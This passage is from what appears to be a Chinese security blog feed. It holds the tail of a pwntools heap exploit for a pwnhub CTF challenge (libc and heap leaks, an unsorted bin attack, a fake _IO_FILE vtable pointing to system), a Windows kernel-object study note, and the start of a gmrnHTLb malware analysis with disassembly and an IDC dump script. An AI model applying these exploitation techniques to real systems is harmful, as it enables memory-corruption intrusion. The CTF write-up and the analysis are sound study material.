add_letter(ph, <span class="number">0x10</span>, padding, to)</span><br><span class="line">    delete_letter(ph, <span class="number">0</span>)</span><br><span class="line">    delete_letter(ph, <span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># raw_input(&quot;First check, we look at as note&quot;)</span></span><br><span class="line">    padding = padding.replace(<span class="string">&quot;C&quot;</span>,<span class="string">&#x27;D&#x27;</span>)</span><br><span class="line">    to = to.replace(<span class="string">&quot;B&quot;</span>,<span class="string">&quot;A&quot;</span>)</span><br><span class="line">    add_letter(ph, <span class="number">0x2c</span>, padding ,<span class="string">&quot;ADDRADDRADDRADDRADDRADDR&quot;</span>)</span><br><span class="line">    <span class="comment"># raw_input(&quot;Counld we padding two?&quot;)</span></span><br><span class="line">    add_letter(ph, <span class="number">0x90</span>, padding ,to+<span class="string">&#x27;B\x41\x80&#x27;</span>)</span><br><span class="line">    <span class="comment"># raw_input(&quot;Second ,checkout that we know that we bins is success be edited, &quot;)</span></span><br><span class="line">    add_letter(ph, <span class="number">0x60</span>, padding, <span class="string">&#x27;T&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    msg = check_letter(ph)</span><br><span class="line">    <span class="built_in">print</span>(msg)</span><br><span class="line">    index = msg.find(<span class="string">&quot;ADDR&quot;</span>)</span><br><span class="line">    addr = msg[index - <span class="number">4</span>:index]</span><br><span class="line">    <span class="built_in">print</span>(addr)</span><br><span class="line">    leak_arena = u32(addr)</span><br><span class="line">    <span class="comment"># print check_letter(ph)</span></span><br><span class="line">    log.success(<span class="string">&quot;[+] leak_address is %x&quot;</span>%(leak_arena))</span><br><span class="line">    main_arena = leak_arena - <span class="number">64</span></span><br><span class="line">    libc = main_arena - <span class="number">0x1a9420</span> - <span class="number">0x4000</span></span><br><span class="line">    log.success(<span class="string">&quot;[+] main_arena is %x&quot;</span>%(main_arena))</span><br><span class="line">    log.success(<span class="string">&quot;[+] libc is %x&quot;</span>%(libc))</span><br><span class="line">    </span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    next we try to leak heap address, we try to use the small bin(last from above)</span></span><br><span class="line"><span class="string">    (1) allocate 0x30 chunk , then allocate 0x40 chunk</span></span><br><span class="line"><span class="string">    (2) free chunk 5, and allocate the 0x30, edite the cont head to 0x70</span></span><br><span class="line"><span class="string">    (3) free chunk 7, and we checkout the small bin size</span></span><br><span class="line"><span class="string">    (4) we allocate 0x70 - size, and then we can get the fd of small chunk!</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    add_letter(ph, <span class="number">0x2c</span>, padding, to)</span><br><span class="line">    add_letter(ph, <span class="number">0x3c</span>, padding, <span class="string">&quot;A__DA__DA__DA__DA__DA__D&quot;</span>)</span><br><span class="line">    add_letter(ph, <span class="number">0x3c</span>, padding, to)</span><br><span class="line"></span><br><span class="line">    delete_letter(ph, <span class="number">5</span>)</span><br><span class="line">    <span class="comment"># here we edited chunk head</span></span><br><span class="line">    add_letter(ph, <span class="number">0x2c</span>, padding, to+<span class="string">&#x27;OO\xc1&#x27;</span>)</span><br><span class="line">    <span class="comment">#raw_input(&quot;check all chunks&quot;)</span></span><br><span class="line">    delete_letter(ph, <span class="number">8</span>)</span><br><span class="line">    <span class="comment">#raw_input(&quot;check the head of chunk&quot;)</span></span><br><span class="line">    add_letter(ph, <span class="number">0xa0</span>, padding, to)</span><br><span class="line">    add_letter(ph, <span class="number">0x100</span>, padding, to)</span><br><span class="line">    msg = check_letter(ph)</span><br><span class="line">    <span class="built_in">print</span>(msg)</span><br><span class="line">    index = msg.find(<span class="string">&quot;A__D&quot;</span>)</span><br><span class="line">    addr = msg[index - <span class="number">8</span>:index - <span class="number">4</span>]</span><br><span class="line">    chunk_addr = u32(addr)</span><br><span class="line">    heap_addr = chunk_addr - <span class="number">0x98</span></span><br><span class="line"></span><br><span class="line">    log.success(<span class="string">&quot;[+] leak heap %x&quot;</span>%heap_addr)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> libc, heap_addr</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>(<span class="params">libc, heap</span>):</span><br><span class="line">    <span class="comment"># try to pwn!</span></span><br><span class="line">    <span class="comment"># we use unsorted bin attack + _IO_list_all to call system bin</span></span><br><span class="line">    <span class="comment"># 1. generate fake small bin</span></span><br><span class="line">    <span class="comment"># 2. unsorted bin attack</span></span><br><span class="line">    <span class="comment">#    </span></span><br><span class="line">    <span class="comment">#   TIPS: to protect 0x30 small bin, we should prepare more fastbin so</span></span><br><span class="line">    <span class="comment">#   the smallbin would not be used</span></span><br><span class="line">    <span class="comment">#</span></span><br><span class="line">    <span class="comment"># (1) we allocate 3 * [0x10(letter) + 0x30(name)] chunk to prepare</span></span><br><span class="line">    <span class="comment"># (2) then we allocated 0xf0, and we fake chunk head to prepare ahead chunk overlap</span></span><br><span class="line">    <span class="comment"># (3) next we free this one, and edited it&#x27;s head to 0x80 with no3 chunk.</span></span><br><span class="line">    <span class="comment"># (4) we allocate 0x50, it will be 0x30 unsorted bin(the 0x50 will use after) </span></span><br><span class="line">    <span class="comment"># (5) finally, allocated 0x100 to get small bin</span></span><br><span class="line">    <span class="comment"># 2. </span></span><br><span class="line">    <span class="comment"># (1) use chunk1 to edited chunk2(letter) head to 0xe0, then we delete it</span></span><br><span class="line">    <span class="comment"># (2) then we allocate 0xe0, and this chunk would overlap last 0x50 bk(remember the 0x50 not free)</span></span><br><span class="line">    <span class="comment"># (3) now we free 0x50 chunk, and we allocate 0xe0(in unsorted bin ,FIFO), we overlap bk</span></span><br><span class="line">    <span class="comment"># (4) allocate 0x50, so bk(_IO_list_all)become main_arena+0x88</span></span><br><span class="line">    <span class="comment"># (5) because of unsorted bin&#x27;s bk is crashed, we just allocate x &gt;= 0x50 it will crash</span></span><br><span class="line"></span><br><span class="line">    index = <span class="number">11</span></span><br><span class="line">    malloc_hook = libc + <span class="number">0x001A9408</span> </span><br><span class="line">    system_real = system + libc</span><br><span class="line">    bin_addr_real = bin_addr + libc</span><br><span class="line">    IO_list_all_addr_real = IO_list_all_addr + libc</span><br><span class="line">    vtable = IO_str_jumps + libc</span><br><span class="line">    log.info(<span class="string">&quot;system is %x, and bin is %x&quot;</span>%(system_real, bin_addr_real))</span><br><span class="line">    </span><br><span class="line"></span><br><span class="line">    padding = <span class="string">&quot;K&quot;</span>*<span class="number">0x16</span></span><br><span class="line">    to = <span class="string">&quot;B&quot;</span>*<span class="number">0x1f</span></span><br><span class="line">    index = <span class="number">5</span></span><br><span class="line"></span><br><span class="line">    fake_bin = p32(<span class="number">0</span>)                           <span class="comment"># flags</span></span><br><span class="line">    fake_bin += p32(<span class="number">0</span>)                          <span class="comment"># flags</span></span><br><span class="line">    fake_bin += p32(<span class="number">0</span>)                          <span class="comment"># write_base</span></span><br><span class="line">    fake_bin += p32(bin_addr_real)              <span class="comment"># bypass check write_ptr - fp</span></span><br><span class="line">    fake_bin += p32(<span class="number">0</span>)                          <span class="comment"># write end</span></span><br><span class="line">    fake_bin += p32(<span class="number">0</span>)                          <span class="comment"># buf start</span></span><br><span class="line">    fake_bin += p32((bin_addr_real - <span class="number">100</span>)/<span class="number">2</span>)    <span class="comment"># buf end</span></span><br><span class="line">    fake_bin += p32(<span class="number">0</span>)*<span class="number">3</span></span><br><span class="line">    fake_bin += p32(<span class="number">0x80</span>) + p32(<span class="number">0x11</span>)</span><br><span class="line">    fake_bin += <span class="string">&#x27;\x00&#x27;</span> * (<span class="number">0x40</span> - <span class="built_in">len</span>(fake_bin))</span><br><span class="line">    fake_bin += p32(null_ptr)                   <span class="comment"># lock</span></span><br><span class="line">    <span class="comment"># after lock we should set mode to -1</span></span><br><span class="line">    fake_bin += <span class="string">&#x27;\x00&#x27;</span> * (<span class="number">0x60</span> - <span class="built_in">len</span>(fake_bin))</span><br><span class="line">    fake_bin += <span class="string">&#x27;\xff\xff\xff\xff&#x27;</span>              <span class="comment"># mode -1</span></span><br><span class="line">    fake_bin += <span class="string">&#x27;\x00&#x27;</span> *(<span class="number">0x8c</span> - <span class="built_in">len</span>(fake_bin))</span><br><span class="line">    fake_bin += p32(vtable)</span><br><span class="line">    <span class="comment">#fake_bin += &#x27;\x00&#x27; *(0x98 - len(fake_bin))</span></span><br><span class="line">    fake_bin += p32(system_real)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[+] fake_bin size is %x&quot;</span>%(<span class="built_in">len</span>(fake_bin)))</span><br><span class="line"></span><br><span class="line">    add_letter(ph, <span class="number">8</span>, <span class="string">&quot;0000&quot;</span>, to)           <span class="comment">#11</span></span><br><span class="line">    add_letter(ph, <span class="number">8</span>, <span class="string">&quot;0000&quot;</span>, to)           <span class="comment">#12</span></span><br><span class="line">    add_letter(ph, <span class="number">8</span>, <span class="string">&quot;0000&quot;</span>, to)           <span class="comment">#13</span></span><br><span class="line">    add_letter(ph, <span class="number">8</span>, <span class="string">&quot;1111&quot;</span>, to)           <span class="comment">#14</span></span><br><span class="line">    add_letter(ph, <span class="number">8</span>, <span class="string">&quot;2222&quot;</span>, to)           <span class="comment">#15</span></span><br><span class="line">    add_letter(ph, <span class="number">8</span>, <span class="string">&quot;3333&quot;</span>, to)           <span class="comment">#16</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="comment">#exp =&#x27;\x00&#x27;*8 + p32(0) + p32(0x11) + &quot;J&quot; * 8 + p32(0x10) + p32(0xe1) + &quot;H&quot; * 0x50 + fake_bin</span></span><br><span class="line">    exp =<span class="string">&quot;H&quot;</span> * <span class="number">0x48</span> + p32(<span class="number">0</span>) + p32(<span class="number">0xa1</span>) + fake_bin</span><br><span class="line"></span><br><span class="line">    add_letter(ph, <span class="number">0xf0</span>, exp, to)           <span class="comment">#17</span></span><br><span class="line">    <span class="comment">#raw_input(&quot;checkout 0xf0 chunk fake head is correct?&quot;)</span></span><br><span class="line"></span><br><span class="line">    delete_letter(ph, <span class="number">17</span>)</span><br><span class="line">    delete_letter(ph, <span class="number">16</span>)</span><br><span class="line">    exp = <span class="string">&#x27;A&#x27;</span> * <span class="number">0x20</span> + <span class="string">&#x27;\x81&#x27;</span></span><br><span class="line">    add_letter(ph, <span class="number">8</span>, <span class="string">&#x27;4444&#x27;</span>, exp)          <span class="comment">#18</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    exp =<span class="string">&#x27;\x00&#x27;</span>*<span class="number">0x10</span> + p32(<span class="number">0</span>) + p32(<span class="number">0x11</span>) + <span class="string">&quot;J&quot;</span> * <span class="number">8</span> + p32(<span class="number">0x10</span>) + p32(<span class="number">0xe1</span>)</span><br><span class="line">    <span class="comment">#raw_input(&quot;check out 0x79 is right&quot;)</span></span><br><span class="line">    delete_letter(ph, <span class="number">13</span>)</span><br><span class="line"></span><br><span class="line">    add_letter(ph, <span class="number">0x48</span>, exp, to)           <span class="comment">#19</span></span><br><span class="line">    <span class="comment">#raw_input(&quot;check now have a 0x30 unsorted bin&quot;)</span></span><br><span class="line">    <span class="comment"># avoid unlink, now we allocate a big one</span></span><br><span class="line">    <span class="comment"># use 18 to avoid unsorted to be name</span></span><br><span class="line">    add_letter(ph, <span class="number">0x100</span>, <span class="string">&#x27;padding&#x27;</span>, <span class="string">&#x27;to&#x27;</span>)  <span class="comment">#20</span></span><br><span class="line">    <span class="comment">#raw_input(&quot;now checkout padding success?(small bin has created?)&quot;)</span></span><br><span class="line">    log.success(<span class="string">&quot;[+] success create small bin&quot;</span>)</span><br><span class="line"></span><br><span class="line">    delete_letter(ph, <span class="number">14</span>)</span><br><span class="line"></span><br><span class="line">    exp = <span class="string">&#x27;C&#x27;</span> * <span class="number">0x20</span> + <span class="string">&#x27;\xe1&#x27;</span></span><br><span class="line">    add_letter(ph, <span class="number">8</span>, <span class="string">&#x27;atta&#x27;</span>, exp)          <span class="comment">#21</span></span><br><span class="line">    <span class="comment">#raw_input(&quot;check now would not prev_chalange?&quot;)</span></span><br><span class="line">    delete_letter(ph, <span class="number">15</span>)</span><br><span class="line">    <span class="comment">#raw_input(&quot;checkout the 2 head should be what?&quot;)</span></span><br><span class="line"></span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    delete_letter(ph, 16)</span></span><br><span class="line"><span class="string">    exp = &#x27;D&#x27; * 0x20 + &#x27;\xf0&#x27;</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    <span class="comment">#add_letter(ph, 0x2c, padding, to[:-3] + &#x27;\x00\x00\x00\x30\x29&#x27;) #19</span></span><br><span class="line">    <span class="comment">#raw_input(&quot;check out small bin, and we have enough fastbin&quot;)</span></span><br><span class="line">    <span class="comment"># then we prepare final attack</span></span><br><span class="line">    exp = <span class="string">&#x27;0&#x27;</span>*<span class="number">8</span> + p32(<span class="number">0</span>) + p32(<span class="number">0x31</span>)</span><br><span class="line">    exp += <span class="string">&#x27;1&#x27;</span> * <span class="number">0x28</span> + p32(<span class="number">0</span>) + p32(<span class="number">0x49</span>)</span><br><span class="line">    exp += <span class="string">&#x27;2&#x27;</span> * <span class="number">0x40</span> + p32(<span class="number">0</span>) + p32(<span class="number">0x11</span>)</span><br><span class="line">    exp += <span class="string">&#x27;3&#x27;</span> * <span class="number">0x8</span> + p32(<span class="number">0</span>) + p32(<span class="number">0x31</span>)</span><br><span class="line">    exp += <span class="string">&#x27;4&#x27;</span> * <span class="number">0x28</span> + p32(<span class="number">0</span>) + p32(<span class="number">0x51</span>)</span><br><span class="line">    exp += p32(heap)                            <span class="comment">#fd</span></span><br><span class="line">    exp += p32(IO_list_all_addr_real - <span class="number">0x8</span>)     <span class="comment">#bk</span></span><br><span class="line">    exp += <span class="string">&#x27;\x11\x11\x11\x11&#x27;</span></span><br><span class="line">    delete_letter(ph, <span class="number">19</span>)</span><br><span class="line">    add_letter(ph, <span class="number">0xd8</span>, exp,to)</span><br><span class="line">    add_letter(ph, <span class="number">0x48</span>, padding ,to)</span><br><span class="line">    </span><br><span class="line">    raw_input(<span class="string">&quot;now we alloc 0x100 to attack!&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    libc,heap = leak()</span><br><span class="line">    padding  = <span class="string">&quot;213&quot;</span></span><br><span class="line">    to = <span class="string">&quot;123&quot;</span></span><br><span class="line">    pwn(libc, heap)</span><br><span class="line">    ph.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="参考博客">参考博客</h3><p><a href="http://blog.hac425.top/2018/04/23/pwn-with-glbc-heap.html">http://blog.hac425.top/2018/04/23/pwn-with-glbc-heap.html</a><br>大佬学弟的博客，强势安利一波（这里预言，大佬以后可能会写书）</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;记得我以前说过pwnhub的题目都超级便太，这次也是。。。主要也是突然着了魔，非要把题目做出来。然后我一个 pwn 小白硬是看着malloc源码（之前我一直觉得看了源码的都是大佬。。直到我做了这个题目，一边做就一边看。。。）研究出来了（？）真心膜那些两天内就做出来的大佬orz。。。。我真的太菜了&lt;/p&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="heap" scheme="https://showlinkroom.me/tags/heap/"/>
    
    <category term="pwnhub" scheme="https://showlinkroom.me/tags/pwnhub/"/>
    
    <category term="off one byte" scheme="https://showlinkroom.me/tags/off-one-byte/"/>
    
  </entry>
  
  <entry>
    <title>Windows Via C/C++ note 1</title>
    <link href="https://showlinkroom.me/2018/07/24/Learn-Windows-Via-C-C-note-1/"/>
    <id>https://showlinkroom.me/2018/07/24/Learn-Windows-Via-C-C-note-1/</id>
    <published>2018-07-24T15:06:36.000Z</published>
    <updated>2020-07-16T13:31:30.388Z</updated>
    
    <content type="html"><![CDATA[<p>近期在学这本《Windows via C/C++》（也就是《Windows核心编程》），发现比我想象的要有趣一点。里面提到了一些概念性的东西，这里先将其记录下来</p><h2 id="more-windows-via-c-c-note-1"><span id="more"></span><br>Windows Via C/C++ note 1</h2><h2 id="内核对象-kernel-object">内核对象 (Kernel Object)</h2><p>在 Windows 操作系统中，有很多涉及到底层的操作，例如文件操作，进程操作，注册表操作，网络操作，事件操作等等。为了能够将用户从繁琐的内核操作中分离出来，Windows 提供了很多的 API 函数来帮助用户能够更好的操作，例如对于文件操作，我们有<code>CreateFile</code>,<code>WriteFile</code>; 对于进程，我们可以使用<code>CreateProcess</code>，也有<code>CreateToolhelp32Snapshot</code> 这样的操作函数。这些函数操作的对象就是我们本文要讨论的<strong>内核对象</strong>。例如:</p><ul><li>文件对象</li><li>事件对象</li><li>互斥量(Mutex)对象</li><li>管道(Pipe)对象</li><li>进程对象</li><li>线程对象<br>…</li></ul><p>这些内核对象都是一个内存块，由操作系统内核进行分配，并且也只能由操作系统内核访问。内核对象中的属性随着内核种类的变化而变化。形如进程对象拥有 PID 的属性，而文件对象有一个字节偏移数作为参数。但是大部分的内核对象都有下列两个属性</p><ul><li>使用计数</li><li>安全描述符</li></ul><p>这些属性只能够由操作系统内核进行修改和使用，从而避免应用程序对内核进行过多的修改。</p><h2 id="句柄">句柄</h2><p>上文中提到，内核对象只能够由内核进行处理，那么应用程序应该如何访问这些对象呢？答案就是使用句柄(Handle)。当调用一个创建内核对象的函数后，系统会生成一个句柄返回到应用层。之后应用层将会使用这个句柄对对应的内核对象进行操作</p><p><img src="/2018/07/24/Learn-Windows-Via-C-C-note-1/win00.png" alt=""><br>为了保证操作系统的可靠性，句柄的值是与<strong>进程相关</strong>的，但是同时，句柄也支持在不同的进程间共享。</p><h3 id="内核对象的生命周期">内核对象的生命周期</h3><p>由于内核对象可以被多个进程共享，所以即使说由进程A创建了一个内核对象，在进程A结束之后。在进程B中也使用了同一个内核对象，此对象也不应该被回收。为了实现这点，每个内核对象都由一个使用计数的参数，用来表示<strong>当前有多少个进程在使用当前内核对象</strong>。当没有进程使用当前内核对象的时候，该使用计数会变为0。操作系统会检测内核对象的引用次数，当次数为0的时候就会 <em>销毁当前对象（不完全是这样）</em> ，这样的话就能够保证系统中不存在没有被任何进程引用的内核对象。</p><p>让引用计数减少的最基本的方法就是调用函数<code>CloseHandle</code>，每当关闭一个句柄，就算是减少了一次对当前内核次数的引用</p><p>**： 上文提到，内核对象的引用计数变为0的时候会销毁对象，并且调用<code>CloseHandle</code>的时候会减少引用次数这种说法不完全正确。比如说当使用<code>CreateProcess</code>创建的进程对象在被<code>CloseHandle</code>之后也会继续运行直到程序结束，而<code>CreateFileMapping</code>创建的共享空间句柄就会因为<code>CloseHandle</code>而导致内核对象被销毁。个人理解，销毁与否关键取决于当前内核对象所管理的对象是否结束（比如说进程的话要等进程运行结束才算是结束，而内存空间只要没有任何东西运行，所以关闭之后就相当于是当前引用结束了）</p><h3 id="安全描述符-sd">安全描述符(SD)</h3><p><em>安全描述符之前接触比较少，之后应该会单独开篇来讲一下这个东西，这里就简单介绍一下。</em><br>内核对象的访问限制。一个安全描述符主要描述这些事情:</p><ul><li>当前对象的拥有着(一般就是当前对象的创建者)</li><li>哪些组/用户能够访问或者使用该对象</li><li>哪些组/用户被拒绝访问当前对象</li></ul><p>在内核中可以通过一个叫做 SECURITY_ATTRIBUTES 的结构进行设置。</p><h3 id="句柄表"><em>句柄表</em></h3><p><em>这个概念是由这本书提出来的，并不保证实际情况就是如此</em><br>进程初始化的时候，将会由操作系统为其分配一个句柄表。这个句柄表相当于是一个数据结构类似的东西，然后里面包含一个内核对象的指针，一个访问掩码(access masl)还有一些标志</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">+-------+-------------------------+-------------------------------+------------+</span><br><span class="line">| index | 指向内核对象内存块的指针  | 访问掩码(包含标志未的一个DWORD) |     标志    |</span><br><span class="line">+-------+-------------------------+-------------------------------+------------+</span><br><span class="line">| 0x10  |      0xF0001000         |           0x????????          | 0x00000001 |</span><br><span class="line">+-------+-------------------------+-------------------------------+------------+</span><br><span class="line">| 0x20  |      0x00000000         |           （不可用）           |  （不可用） |</span><br><span class="line">+-------+-------------------------+-------------------------------+------------+</span><br></pre></td></tr></table></figure><p>如上，为一个记录了有效句柄的句柄表。其中索引1为一个有效的内核对象的句柄。</p><p>当使用创建内核对象的函数时，就会对当前的表格进行填充。这类函数形如:</p><ul><li>CreateThread</li><li>CreateFile</li><li>CreateFileMapping</li><li>CreateSemaphre(信号量)</li></ul><p>通过这些函数得到的句柄可以被同一进程中的所有线程共同使用。在使用句柄的时候，Windows进程往往会将当前的句柄值右移两位作为真正的句柄值。所以第一个有效的句柄值往往是4。（众所周知，在 Windows 操作系统中，System 进程的 PID 值为4，这里可能有所关联）</p><h3 id="作用域">作用域</h3><p>正如前文提到的，内核对象是存放在内核空间中的，部分的API会听过为内核对象命名的操作。通过使用名字访问的话，就相当于是跨进程，此时被称为放在<strong>全局命名空间</strong>。若不使用命名的话，则是在同一进程中共享。<br>然而，在 Windows Vista 之后，对于命名有了要求。<strong>全局命名空间名必须要为</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Global\ObjectName</span><br></pre></td></tr></table></figure><p>的形式。<br>同样我们也能够显示的指明一个对象放入<strong>当前会话空间</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Local\ObjectName</span><br></pre></td></tr></table></figure><p>这是因为， Windows Vista 之后，在 Windows 登陆的时候会创建一个叫做 Session 0 的会话。在这个会话中的服务都是在登陆期间执行的。通过这样做能够有效的将应用程序和系统服务进行隔离。同样，每一个登陆的用户都将获得一个会话（一般是从 Session 1开始）不同的用户可以登陆不同的会话。</p><h3 id="内核对象观测">内核对象观测</h3><p>推荐一个 Sysinternals 提供的工具（似乎是被微软收购了），叫做<a href="https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer">Process Explorer</a><br><em>严肃警告:这个公司的软件都会装驱动，还想玩游戏的个位千万千万不要装到跑游戏的机器里面，相关故事请参考<a href="http://showlinkroom.me/2018/01/14/PROCMON%E4%B8%8Ethemida%E7%9A%84%E7%BA%A0%E8%91%9B/">我的惨痛经历</a>，顺便里面提到的Procmon其实在检测文件行为的时候还是蛮好用的</em></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;近期在学这本《Windows via C/C++》（也就是《Windows核心编程》），发现比我想象的要有趣一点。里面提到了一些概念性的东西，这里先将其记录下来&lt;/p&gt;
&lt;h2 id=&quot;more-windows-via-c-c-note-1&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="Windows" scheme="https://showlinkroom.me/tags/Windows/"/>
    
  </entry>
  
  <entry>
    <title>gmrnHTLb Analyze</title>
    <link href="https://showlinkroom.me/2018/07/22/gmrnHTLb-Analyze/"/>
    <id>https://showlinkroom.me/2018/07/22/gmrnHTLb-Analyze/</id>
    <published>2018-07-21T16:25:16.000Z</published>
    <updated>2020-07-16T13:31:30.383Z</updated>
    
    <content type="html"><![CDATA[<p>毕业季学校打印店留给我的礼物，真令人感动(才怪)…</p><h2 id="more-gmrnhtlb-analyze"><span id="more"></span><br>gmrnHTLb Analyze</h2><p>如果只是想要了解病毒本身的行为的话，可以直接看后面的分析报告。</p><h2 id="分析思路">分析思路</h2><h3 id="ie注入">IE注入</h3><p>其实这个文件和之前分析过的另一个脚本病毒扔一块儿了（那个我好像没写，叫做<code>WindowsService</code>的病毒），我就想着干脆先扔到PEiD里面看一下，果然发现里面有、、东西，是一个UPX的壳，于是二话不说直接脱掉。打开之后发现，又又又又是日常混乱代码段：<br><img src="/2018/07/22/gmrnHTLb-Analyze/gmrn01.png" alt=""><br>嗯莫名其妙？？？突然调用这些函数？？简单的调试了一下，发现大部分的程序似乎都没有正常执行。初步猜测可能是用于混淆的代码。然后看到一段神奇的代码:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">.code:00408A1D loc_408A1D:                             ; CODE XREF: sub_40724D+17D4↓j</span><br><span class="line">.code:00408A1D inc     ecx</span><br><span class="line">.code:00408A1E dec     eax</span><br><span class="line">.code:00408A1F</span><br><span class="line">.code:00408A1F loc_408A1F:                             ; CODE XREF: sub_40724D:loc_408A1B↑j</span><br><span class="line">.code:00408A1F or      eax, eax</span><br><span class="line">.code:00408A21 jnz     short loc_408A1D</span><br><span class="line">.code:00408A23 push    dword ptr fs:[ecx]</span><br><span class="line">.code:00408A26 pop     eax                             ; 拿到上一个错误代码</span><br><span class="line">.code:00408A27 cmp     eax, 57h                        ; 用于反调试</span><br><span class="line">.code:00408A2A jz      short loc_408A2E</span><br><span class="line">.code:00408A2C pop     eax</span><br><span class="line">.code:00408A2D retn</span><br></pre></td></tr></table></figure><p>这段进入的时候，eax值为0x34,也就是当程序运行到<code>push dword ptr fs:[ecx]</code>的时候，ecx已经被eax赋值成功，此时会取出fs:[0x34]的值。上网查看后发现，这个位置相当于是<code>GetLastError</code>函数，记录了当前的错误代码。猜测此处是一个反调试的地方(但是我看了很久，也没发现它怎么反调试了。。。因为我挂着调试器却顺利的执行到了正确逻辑上)<br>之后走过长长的初始化逻辑（？），来到这边</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">.data:004113A0 loc_4113A0:                             ; CODE XREF: .data:loc_4113B1↓j</span><br><span class="line">.data:004113A0 mov     al, [esi]                       ; 这里再填充section刚开头的那部分内容。。。不知道再做啥</span><br><span class="line">.data:004113A2 inc     esi</span><br><span class="line">.data:004113A3 mov     [edi], al</span><br><span class="line">.data:004113A5 inc     edi</span><br><span class="line">......</span><br><span class="line">.data:00411444 mov     eax, [edx]</span><br><span class="line">.data:00411446 add     edx, 4</span><br><span class="line">.data:00411449 mov     [edi], eax</span><br><span class="line">.data:0041144B add     edi, 4</span><br><span class="line">.data:0041144E sub     ecx, 4</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这部分就是解密的，大概的过程就是将位于两个不同位置的程序重新插回到原先<code>.code</code>段的开始(直接把一开始的RVA给覆盖了。。。)然后根据节的大小不停的解密解密。。。这里没有仔细看了，然后在运行到一个接近创建文件的函数处断下，发现整个PE文件的大部分已经被解开了。为了能够把文件扒下来，这里写了一个IDC脚本:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">auto from = 0x00400000;</span><br><span class="line">auto to = 0x00402A00;</span><br><span class="line">auto i,x,fp;</span><br><span class="line">fp = fopen(&quot;path\\to\\virus&quot;,&quot;wb&quot;);</span><br><span class="line"></span><br><span class="line">Message(&quot;\nbegin....\n&quot;);</span><br><span class="line">for(i = from; i &lt; to; i++)&#123;</span><br><span class="line">    fputc(Byte(i),fp);</span><br><span class="line">&#125;</span><br><span class="line">Message(&quot;Finish!\n&quot;);</span><br></pre></td></tr></table></figure><p>然而拔下来后发现，文件头居然还是原来的文件头。。。这里的文件头还是错将<code>.upx</code>段当成了PE头…于是只好直接继续脱壳</p><h3 id="脱壳后">脱壳后</h3><p>然后经过长长的运行逻辑，来到这里:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __userpurge sub_402B89@&lt;eax&gt;(<span class="type">int</span> *a1@&lt;edi&gt;, <span class="type">int</span> *a2@&lt;esi&gt;, <span class="type">void</span> *a3@&lt;ecx&gt;, LPCSTR lpString)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">void</span> *v5; <span class="comment">// eax</span></span><br><span class="line">  CHAR *v6; 